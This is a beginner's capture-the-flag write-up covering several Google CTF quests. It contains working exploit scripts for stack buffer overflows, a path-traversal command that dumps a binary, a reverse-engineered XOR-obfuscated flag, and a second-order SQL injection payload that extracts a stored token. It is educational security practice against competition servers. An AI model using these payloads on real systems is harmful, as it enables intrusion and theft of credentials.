The beginner's quests start to get hard, as a CTF beginner myself, I start to have some hard time solving the quests. Hopefully I can still find the cakes though.
What cake? Oh, looks like I forgot to mention it, here's the main quest prompt:
Cakes... Throughout history they are long promised, not often delivered. Are
they real?
[...]
Your task, uncover the truth, find the cake and show it to the world. Set the
truth free.
[...]
Your goal is to get the cake in the fridge... Where else would you put cake in
your smart home?
Alright, let's smash some stacks.
After playing around a bit with the binary, I noticed that writting a large
input when setting new user MOTD would cause SIGSEGV
, which smells like a
buffer overflow vulnerability.
I then disassembled the binary with Hopper Disassembler, and found that the
function that prints the current user MOTD will pass my string into printf
as
first argument. Although this let me easily crash the program, my input isn't
on the stack when it's printed, so exploiting this format string vulnerability
to get the flag would be rather difficult.
It's time to investigate whether buffer overflow can be exploited, I checked
the disassembly and found the instruction address right after reading user
input is 0x60606173
:
$ gdb motd
[...]
(gdb) break * 0x60606173
Breakpoint 1 at 0x60606173
(gdb) run
[...]
choice: 2
Enter new message of the day
New msg: ("A" repeated 0x100 times, the size of the buffer)
Breakpoint 1, 0x0000000060606173 in set_motd ()
(gdb) x/150xw $sp
[...]
0x7ffffffde1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7ffffffde1d0: 0xfffde200 0x00007fff 0x60606373 0x00000000
[...]
Looks like I need 8 more characters to reach the return address. A quick
Node.js script can be used to encode the address of read_flag
function,
0x606063a5
:
"use strict";
// Reverse to take care of the endianness
const read_flag_address = [0x60, 0x60, 0x63, 0xa5].reverse();
let payload = [
Buffer.from("2"),
Buffer.from("\n"),
Buffer.from("A".repeat(0x100 + 8)), Buffer.from(read_flag_address),
Buffer.from("\n"),
Buffer.from("5"),
Buffer.from("\n"),
];
payload = Buffer.concat(payload);
process.stdout.write(payload);
Let's try it:
$ node exploit | nc motd.ctfcompetition.com 1337
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: Enter new message of the day
New msg: New message of the day saved!
Admin MOTD is: CTF{m07d_1s_r3t_2_r34d_fl4g}
Usually smashing the stack like this would cause SIGABRT
, but apparently the
binary of this quest is compiled without stack cookies. Another mitigation
technique, Position Independent Executable (PIE), would also block naive buffer
overflow attacks like this one, but luckily PIE is also disabled for this
binary.
It's time to log in using the flag from last time:
[...]
1
Please enter the backdoo^Wservice password:
CTF{I_luv_buggy_sOFtware}
! Two factor authentication required !
Please enter secret secondary password:
Eh… It's more secure than expected. According to hints from the quest prompt, I should try to dump the binary:
$ echo -e "2\n../../../proc/self/exe\n3" | nc mngmnt-iface.ctfcompetition.com 1337 > data.bin
This would include the menu text as well, I cleaned them with a text editor. Surprisingly that didn't corrupt the binary. Hopper Disassembler can generate C style pseudocode from binary, let's try it:
int _Z15secondary_loginv() {
puts("! Two factor authentication required !");
puts("Please enter secret secondary password:");
scanf("%127s", &var_90);
rax = strlen(&var_90);
var_10 = rax;
for (var_8 = 0x0; var_8 < var_10; var_8 = var_8 + 0x1) {
*(int8_t *)(var_8 + &var_90) = *(int8_t *)(var_8 + &var_90) & 0xff ^ 0xffffffc7;
}
if (var_10 == 0x23) {
var_90 = *FLAG;
if (&var_90 != 0x0) {
rax = 0x1;
}
else {
rax = 0x0;
}
}
else {
rax = 0x0;
}
if (rax != 0x0) {
puts("Authenticated");
rax = command_line();
}
else {
puts("Access denied.");
rax = exit(0x1);
}
return rax;
}
It didn't take long to find the function responsible for two factor authentication, but the code still needs some cleaning:
void secondary_login()
{
puts("! Two factor authentication required !");
puts("Please enter secret secondary password:");
char * user_input = (char *)calloc(128, sizeof(char));
scanf("%127s", user_input);
for (size_t i = 0; i < strlen(user_input); i++)
user_input[i] = user_input[i] ^ 0xc7;
bool good;
if (strlen(user_input) == 0x23)
{
char * flag = FLAG;
if (flag != NULL)
good = true;
else
good = false;
}
else
{
good = false;
}
if (good)
{
puts("Authenticated");
command_line();
}
else
{
puts("Access denied.");
exit(1);
}
}
The secondary password can be any string that is 0x23
or 35 characters long.
I'll just use 35 a
:
[...]
! Two factor authentication required !
Please enter secret secondary password:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Authenticated
> shell
Security made us disable the shell, sorry!
Well, looks like I need to find another way. Looking back at the
secondary_login
function, the XOR and the FLAG
variables are extra
suspicious. The content of FLAG
can be read out from disassembly:
"use strict";
const flag = [
[
0x98, 0xa8, 0xb0, 0x93,
0xbc, 0x81, 0x93, 0x84,
],
[
0x83, 0xb5, 0xa8, 0xb0,
0x94, 0xb4, 0xa6, 0x97,
],
[
0xb5, 0xa2, 0xb3, 0xb3,
0xa2, 0x85, 0x98, 0xbd,
],
[
0x98, 0xf6, 0x98, 0xa9,
0xf3, 0xaf, 0xb3, 0x98,
],
[
0xf8, 0xac,
],
[
0xba,
],
];
for (const w of flag) {
// Loop backward to handle endianness
let i = w.length;
while (i--)
process.stdout.write(String.fromCharCode(w[i] ^ 0xc7));
}
XOR-ing each byte of FLAG
with 0xc7
reveals the flag:
CTF{Two_PasSworDz_Better_th4n_1_k?}
.
I'm not sure if it's a bug or intentional, but it would make more sense if the
secondary_login
function actually validated the input. Anyway, shell
is
still disabled, let's hack it open!
After checking the disassembly, I found that the buffer holding the input
command is 48 bytes long. Writting something very big will not crash the
program right away, that's because the current function doesn't return until
the quit
command is received. After entering quit
, the program gets
SIGSEGV
(not SIGABRT
). No stack cookie! Let's hope it doesn't have PIE
enabled neither.
As a side note, I also noticed that the echo
command will pass my input to
printf
as first argument, but the buffer is only 48 bytes long, exploiting
this format string vulnerability could be challenging.
Examining the symbols, the debug_shell
function is the one that handles
the shell
command (when it's enabled), following the same logic as Message
of The Day quest:
"use strict";
const shell_address = [0x41, 0x41, 0x42, 0x27].reverse();
let payload = [
Buffer.from("1"),
Buffer.from("\n"),
Buffer.from("CTF{I_luv_buggy_sOFtware}"),
Buffer.from("\n"),
Buffer.from("a".repeat(35)),
Buffer.from("\n"),
Buffer.from("A".repeat(48 + 8)), Buffer.from(shell_address),
Buffer.from("\n"),
Buffer.from("quit"),
Buffer.from("\n"),
Buffer.from("ls -al"),
Buffer.from("\n"),
Buffer.from("exit"),
Buffer.from("\n"),
];
payload = Buffer.concat(payload);
process.stdout.write(payload);
Run it:
$ node exploit | nc mngmnt-iface.ctfcompetition.com 1337
=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit
Please enter the backdoo^Wservice password:
! Two factor authentication required !
Please enter secret secondary password:
Authenticated
> Unknown command 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'BAA'
> Bye!
total 144
drwxr-xr-x 3 user user 4096 Jun 18 08:25 .
drwxr-xr-x 3 nobody nogroup 4096 May 25 13:19 ..
-rw-r--r-- 1 user user 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 user user 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 user user 655 May 16 2017 .profile
-rw-r--r-- 1 nobody nogroup 26 May 24 15:03 an0th3r_fl44444g_yo
-rw-r--r-- 1 nobody nogroup 25 Jun 18 08:25 flag
-rwxr-xr-x 1 nobody nogroup 111128 Jun 18 08:25 main
drwxr-xr-x 2 nobody nogroup 4096 Jun 18 08:25 patchnotes
Looks like I found what I'm looking for:
// [...]
Buffer.from("cat an0th3r_fl44444g_yo"),
Buffer.from("\n"),
// [...]
And the third flag is CTF{c0d3ExEc?W411_pL4y3d}
.
Only a file named gatekeeper
is insize the ZIP attachment:
$ file gatekeeper
gatekeeper: ELF 64-bit LSB shared object, x86-64, [...], not stripped
$ ./gatekeeper
/===========================================================================\
| Gatekeeper - Access your PC from everywhere! |
+===========================================================================+
[ERROR] Login information missing
Usage: ./gatekeeper <username> <password>
It's usually a good idea to see what strings are embedded in the binary:
$ strings gatekeeper
[...]
~> Verifying.
0n3_W4rM
~> Incorrect username
zLl1ks_d4m_T0g_I
Correct!
[...]
$ ./gatekeeper 0n3_W4rM zLl1ks_d4m_T0g_I
/===========================================================================\
| Gatekeeper - Access your PC from everywhere! |
+===========================================================================+
~> Verifying.......ACCESS DENIED
~> Incorrect password
Finding the fishy strings weren't too hard, but they don't work. After staring
at the second string a few seconds, it reads I got mad skills
backward. Is
that it?
$ ./gatekeeper 0n3_W4rM I_g0T_m4d_sk1lLz
/===========================================================================\
| Gatekeeper - Access your PC from everywhere! |
+===========================================================================+
~> Verifying.......Correct!
Welcome back!
CTF{I_g0T_m4d_sk1lLz}
Yep, that's it.
The source code of the server is attached, let's have a look:
# [...]
c.execute("CREATE TABLE oauth_tokens (oauth_token text)")
c.execute("CREATE TABLE media (artist text, song text)")
c.execute("INSERT INTO oauth_tokens VALUES ('{}')".format(flag))
# [...]
if choice == '1':
my_print("artist name?")
artist = raw_input().replace('"', "")
my_print("song name?")
song = raw_input().replace('"', "")
c.execute("""INSERT INTO media VALUES ("{}", "{}")""".format(artist, song))
elif choice == '2':
my_print("artist name?")
artist = raw_input().replace("'", "")
print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))
elif choice == '3':
my_print("song name?")
song = raw_input().replace("'", "")
print_playlist("SELECT artist, song FROM media WHERE song = '{}'".format(song))
elif choice == '4':
artist = random.choice(list(c.execute("SELECT DISTINCT artist FROM media")))[0]
my_print("choosing songs from random artist: {}".format(artist))
print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))
# [...]
It's clearly going to be a SQL Injection vulnerability, but quotes are removed.
I tried a few classic SQL Injection payloads but nothing worked. Examining
the source code closely, I noticed the removed quotes in choice 1 is "
but
it's '
in choices 2 ad 3. Choice 4 doesn't escape quotes, but the artist
must be already in the database.
After playing around with it a bit, I noticed that I can have '
in artist
name, which is later not escaped in choice 4. It's time to craft a query that
would print the flag:
SELECT artist, song FROM media WHERE artist = '' UNION SELECT 'flag', oauth_token FROM oauth_tokens;
Putting into classic SQL Injection format:
' UNION SELECT 'flag', oauth_token FROM oauth_tokens; --
Let's try it:
$ nc media-db.ctfcompetition.com 1337
=== Media DB ===
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 1
artist name?
' UNION SELECT 'flag', oauth_token FROM oauth_tokens; --
song name?
b
[...]
> 4
choosing songs from random artist: ' UNION SELECT 'flag', oauth_token FROM oauth_tokens; --
== new playlist ==
1: "CTF{fridge_cast_oauth_token_cahn4Quo}
" by "flag"
I'm almost done the beginner's quests! Hopefully I can see my cakes soon.